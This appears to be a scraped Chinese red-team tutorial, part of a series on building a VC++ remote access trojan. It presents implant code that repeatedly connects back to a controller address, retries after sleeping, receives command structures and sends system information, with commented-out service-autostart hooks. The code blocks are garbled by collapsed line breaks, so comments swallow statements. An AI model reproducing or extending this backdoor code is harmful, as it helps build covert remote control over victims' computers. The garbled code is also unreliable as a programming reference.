当前位置: 首页 > news >正文

红队专题-从零开始VC++C/S远程控制软件RAT-MFC-[4]客户端与服务端连接

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • 服务端编写
    • 新建工程
    • server函数
    • 创建主线程类
      • 获取配置信息
      • 运行
      • command 命令
      • 头文件里创建引用
      • win32 类库/头文件
      • startsocket 开始监听 类函数
        • 添加类
        • StartSocket
        • mysend/myrecv
    • 设置
  • m_sock
  • Common 头文件
    • MSGINFO_S 结构体
  • ThreadMain头文件
  • runflag 启动

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

服务端编写

新建工程

在这里插入图片描述
在这里插入图片描述

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main;  // 主线程类  对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动  服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}

创建主线程类

在这里插入图片描述

获取配置信息

 void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件

在这里插入图片描述

运行

 
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ipif(sock == NULL){Sleep(this->Time * 1000);  //  等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }

command 命令

void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false)  // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接{break;}ExecCommand(msg,Sock);  // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}

头文件里创建引用

#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
在这里插入图片描述

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
在这里插入图片描述

startsocket 开始监听 类函数

添加类

在这里插入图片描述

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf; 
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}
#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};

在这里插入图片描述

设置

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

m_sock

#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};

在这里插入图片描述

void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}

Common 头文件

头文件 新添加项

在这里插入图片描述

MSGINFO_S 结构体


#pragma once
#include <windows.h>
#define SYSINFO  0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息

在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/199265.html

相关文章:

  • Qt Designer生成ui文件,如何转py文件,如何运行
  • Python数据挖掘:自动售货机销售数据分析与应用
  • 【设计模式】设计模式概述
  • 第六届“中国法研杯”司法人工智能挑战赛进行中!
  • 关于 passing ‘const xx’ as ‘this’ argument of 的错误
  • 数据结构和算法(13):优先级队列
  • 面试经典150题——Day15
  • web APIs——第一天(上)
  • 【Leetcode】215. 数组中的第K个最大元素
  • 服务器数据恢复-RAID5常见故障的数据恢复方案
  • 12个VIM编辑器的高级玩法
  • ⽜客论坛的笔记
  • JS逆向分析某枝网的HMAC加密、wasm模块加密
  • 论坛介绍|COSCon'23开源商业(V)
  • 在word、ppt、excel编辑软件标题栏顶部左上角加入自定义功能:另存为、导出PDF
  • Flink学习笔记(三):Flink四种执行图
  • 堆-----数据结构
  • 震撼登场 | 拓世科技集团新品亮相成为2023世界VR产业大会全场焦点
  • 后端接口的查询方式
  • Maven首次安装配置
  • 使用html2canvas将html转pdf,由于table表的水平和竖直有滚动条导致显示不全(或者有空白)
  • EDID详解
  • 浅谈云原生
  • 【K8S】Kubernetes
  • 面试题 01.01. 判定字符是否唯一
  • C++(Qt)软件调试---linux使用dmesg定位程序崩溃位置(14)
  • 38 WEB漏洞-反序列化之PHPJAVA全解(下)
  • LeetCode 面试题 10.10. 数字流的秩
  • Vue3项目上线打包优化
  • 【算法题】2525. 根据规则将箱子分类